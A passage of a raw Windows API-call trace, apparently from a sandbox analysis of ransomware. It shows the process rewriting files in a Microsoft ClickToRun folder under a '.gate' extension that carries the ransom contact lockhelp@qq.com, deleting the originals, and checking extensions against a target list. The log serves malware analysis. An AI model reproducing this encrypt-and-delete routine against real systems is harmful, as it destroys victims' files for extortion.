shared\\ClickToRun\\C2R32.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0320.835] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")) returned 1 [0320.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0320.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0320.836] lstrlenW (lpString=".doc") returned 4 [0320.836] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0320.836] lstrlenW (lpString=".docx") returned 5 [0320.836] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0320.836] lstrlenW (lpString=".pdf") returned 4 [0320.836] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0320.836] lstrlenW (lpString=".xls") returned 4 [0320.836] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0320.836] lstrlenW (lpString=".xlsx") returned 5 [0320.836] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0320.836] lstrlenW (lpString=".ppt") returned 4 [0320.836] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0320.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0320.836] lstrlenW (lpString=".zip") returned 4 [0320.836] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0321.149] lstrlenW (lpString=".rar") returned 4 [0321.149] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0321.149] lstrlenW (lpString=".bz2") returned 4 [0321.149] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0321.149] lstrlenW (lpString=".7z") returned 3 [0321.149] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0321.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0321.149] lstrlenW (lpString=".dbf") returned 4 [0321.149] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0321.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0321.150] lstrlenW (lpString=".1cd") returned 4 [0321.150] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0321.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0321.150] lstrlenW (lpString=".jpg") returned 4 [0321.150] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0321.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0321.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0321.150] lstrlenW (lpString=".doc") returned 4 [0321.150] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0321.150] lstrlenW (lpString=".docx") returned 5 [0321.150] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0321.150] lstrlenW (lpString=".pdf") returned 4 [0321.150] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0321.150] lstrlenW (lpString=".xls") returned 4 [0321.150] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0321.150] lstrlenW (lpString=".xlsx") returned 5 [0321.150] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0321.150] lstrlenW (lpString=".ppt") returned 4 [0321.150] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0321.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0321.150] lstrlenW (lpString=".zip") returned 4 [0321.150] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0321.150] lstrlenW (lpString=".rar") returned 4 [0321.150] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0321.150] lstrlenW (lpString=".bz2") returned 4 [0321.150] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0321.151] lstrlenW (lpString=".7z") returned 3 [0321.151] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0321.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0321.151] lstrlenW (lpString=".dbf") returned 4 [0321.151] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0321.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0321.151] lstrlenW (lpString=".1cd") returned 4 [0321.151] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0321.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0321.151] lstrlenW (lpString=".jpg") returned 4 [0321.151] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0321.151] lstrcmpiW (lpString1=".exe", lpString2=".gate") returned -1 [0321.151] lstrlenW (lpString="MavInject32.exe") returned 15 [0321.151] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0321.151] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=358616) returned 1 [0321.151] CloseHandle (hObject=0x380) returned 1 [0321.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe")) returned 0x20 [0321.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.152] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0321.152] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.152] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.152] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0321.152] GetLastError () returned 0x0 [0321.152] ReadFile (in: hFile=0x380, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x350fecc*=0x578d8, lpOverlapped=0x0) returned 1 [0321.282] WriteFile (in: hFile=0x35c, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x578e0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x350fc94*=0x578e0, lpOverlapped=0x0) returned 1 [0321.289] ReadFile (in: hFile=0x380, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0321.289] WriteFile (in: hFile=0x35c, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x350fc94*=0xf2, lpOverlapped=0x0) returned 1 [0321.289] SetEndOfFile (hFile=0x35c) returned 1 [0321.289] CloseHandle (hObject=0x35c) returned 1 [0321.290] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.290] SetEndOfFile (hFile=0x380) returned 1 [0321.293] CloseHandle (hObject=0x380) returned 1 [0321.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0321.294] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe")) returned 1 [0321.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0321.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0321.294] lstrlenW (lpString=".doc") returned 4 [0321.294] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0321.294] lstrlenW (lpString=".docx") returned 5 [0321.294] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0321.294] lstrlenW (lpString=".pdf") returned 4 [0321.294] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0321.294] lstrlenW (lpString=".xls") returned 4 [0321.294] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0321.294] lstrlenW (lpString=".xlsx") returned 5 [0321.294] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0321.294] lstrlenW (lpString=".ppt") returned 4 [0321.294] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0321.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0321.294] lstrlenW (lpString=".zip") returned 4 [0321.295] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0321.295] lstrlenW (lpString=".rar") returned 4 [0321.295] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0321.295] lstrlenW (lpString=".bz2") returned 4 [0321.295] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0321.295] lstrlenW (lpString=".7z") returned 3 [0321.295] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0321.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0321.295] lstrlenW (lpString=".dbf") returned 4 [0321.295] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0321.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0321.295] lstrlenW (lpString=".1cd") returned 4 [0321.295] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0321.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0321.295] lstrlenW (lpString=".jpg") returned 4 [0321.295] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0321.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0321.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0321.295] lstrlenW (lpString=".doc") returned 4 [0321.295] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0321.295] lstrlenW (lpString=".docx") returned 5 [0321.295] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0321.295] lstrlenW (lpString=".pdf") returned 4 [0321.295] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0321.295] lstrlenW (lpString=".xls") returned 4 [0321.295] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0321.295] lstrlenW (lpString=".xlsx") returned 5 [0321.296] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0321.296] lstrlenW (lpString=".ppt") returned 4 [0321.296] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0321.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0321.296] lstrlenW (lpString=".zip") returned 4 [0321.296] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0321.296] lstrlenW (lpString=".rar") returned 4 [0321.296] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0321.296] lstrlenW (lpString=".bz2") returned 4 [0321.296] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0321.296] lstrlenW (lpString=".7z") returned 3 [0321.296] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0321.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0321.296] lstrlenW (lpString=".dbf") returned 4 [0321.296] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0321.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0321.296] lstrlenW (lpString=".1cd") returned 4 [0321.296] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0321.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0321.296] lstrlenW (lpString=".jpg") returned 4 [0321.296] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0321.296] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0321.296] lstrlenW (lpString="msvcp120.dll") returned 12 [0321.296] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0321.297] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=660136) returned 1 [0321.297] CloseHandle (hObject=0x380) returned 1 [0321.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll")) returned 0x20 [0321.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.297] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0321.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0321.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0321.298] lstrlenW (lpString=".doc") returned 4 [0321.298] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0321.298] lstrlenW (lpString=".docx") returned 5 [0321.298] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0321.298] lstrlenW (lpString=".pdf") returned 4 [0321.298] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0321.298] lstrlenW (lpString=".xls") returned 4 [0321.298] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0321.298] lstrlenW (lpString=".xlsx") returned 5 [0321.298] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0321.298] lstrlenW (lpString=".ppt") returned 4 [0321.298] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0321.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0321.298] lstrlenW (lpString=".zip") returned 4 [0321.298] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0321.298] lstrlenW (lpString=".rar") returned 4 [0321.298] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0321.298] lstrlenW (lpString=".bz2") returned 4 [0321.298] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0321.298] lstrlenW (lpString=".7z") returned 3 [0321.298] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0321.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0321.298] lstrlenW (lpString=".dbf") returned 4 [0321.298] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0321.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0321.298] lstrlenW (lpString=".1cd") returned 4 [0321.298] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0321.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0321.298] lstrlenW (lpString=".jpg") returned 4 [0321.299] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0321.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0321.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0321.299] lstrlenW (lpString=".doc") returned 4 [0321.299] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0321.299] lstrlenW (lpString=".docx") returned 5 [0321.299] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0321.299] lstrlenW (lpString=".pdf") returned 4 [0321.299] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0321.299] lstrlenW (lpString=".xls") returned 4 [0321.299] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0321.299] lstrlenW (lpString=".xlsx") returned 5 [0321.299] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0321.299] lstrlenW (lpString=".ppt") returned 4 [0321.299] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0321.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0321.299] lstrlenW (lpString=".zip") returned 4 [0321.299] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0321.299] lstrlenW (lpString=".rar") returned 4 [0321.299] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0321.299] lstrlenW (lpString=".bz2") returned 4 [0321.299] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0321.299] lstrlenW (lpString=".7z") returned 3 [0321.299] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0321.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0321.299] lstrlenW (lpString=".dbf") returned 4 [0321.299] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0321.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0321.300] lstrlenW (lpString=".1cd") returned 4 [0321.300] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0321.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0321.300] lstrlenW (lpString=".jpg") returned 4 [0321.300] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0321.300] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0321.300] lstrlenW (lpString="msvcp140.dll") returned 12 [0321.300] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0321.300] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=635040) returned 1 [0321.300] CloseHandle (hObject=0x380) returned 1 [0321.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll")) returned 0x20 [0321.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0321.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0321.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0321.301] lstrlenW (lpString=".doc") returned 4 [0321.301] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0321.301] lstrlenW (lpString=".docx") returned 5 [0321.301] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0321.301] lstrlenW (lpString=".pdf") returned 4 [0321.301] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0321.301] lstrlenW (lpString=".xls") returned 4 [0321.301] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0321.301] lstrlenW (lpString=".xlsx") returned 5 [0321.301] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0321.301] lstrlenW (lpString=".ppt") returned 4 [0321.301] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0321.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0321.301] lstrlenW (lpString=".zip") returned 4 [0321.301] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0321.301] lstrlenW (lpString=".rar") returned 4 [0321.302] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0321.302] lstrlenW (lpString=".bz2") returned 4 [0321.302] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0321.302] lstrlenW (lpString=".7z") returned 3 [0321.302] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0321.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0321.302] lstrlenW (lpString=".dbf") returned 4 [0321.302] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0321.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0321.302] lstrlenW (lpString=".1cd") returned 4 [0321.302] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0321.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0321.302] lstrlenW (lpString=".jpg") returned 4 [0321.302] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0321.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0321.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0321.302] lstrlenW (lpString=".doc") returned 4 [0321.302] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0321.302] lstrlenW (lpString=".docx") returned 5 [0321.302] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0321.302] lstrlenW (lpString=".pdf") returned 4 [0321.302] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0321.302] lstrlenW (lpString=".xls") returned 4 [0321.302] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0321.302] lstrlenW (lpString=".xlsx") returned 5 [0321.302] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0321.302] lstrlenW (lpString=".ppt") returned 4 [0321.302] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0321.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0321.303] lstrlenW (lpString=".zip") returned 4 [0321.303] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0321.303] lstrlenW (lpString=".rar") returned 4 [0321.303] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0321.303] lstrlenW (lpString=".bz2") returned 4 [0321.303] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0321.303] lstrlenW (lpString=".7z") returned 3 [0321.303] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0321.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0321.303] lstrlenW (lpString=".dbf") returned 4 [0321.303] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0321.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0321.303] lstrlenW (lpString=".1cd") returned 4 [0321.303] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0321.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0321.303] lstrlenW (lpString=".jpg") returned 4 [0321.303] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0321.303] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0321.303] lstrlenW (lpString="msvcr120.dll") returned 12 [0321.303] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0321.304] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=963240) returned 1 [0321.304] CloseHandle (hObject=0x380) returned 1 [0321.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll")) returned 0x20 [0321.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.304] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0321.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0321.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0321.304] lstrlenW (lpString=".doc") returned 4 [0321.304] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0321.304] lstrlenW (lpString=".docx") returned 5 [0321.304] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0321.304] 